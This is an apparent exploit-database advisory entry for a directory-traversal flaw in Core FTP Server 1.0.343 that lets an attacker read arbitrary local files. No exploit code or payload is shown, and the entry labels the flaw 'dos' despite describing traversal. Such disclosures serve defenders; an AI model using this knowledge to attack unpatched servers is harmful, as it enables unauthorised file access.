Core FTP Server 1.0.343 - Directory Traversal

EDB-ID:

34051

CVE:

N/A


Type:

dos


Platform:

Windows

Date:

2010-05-28

Core FTP Server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Core FTP Server 1.0.343 is vulnerable; other versions may also be affected.
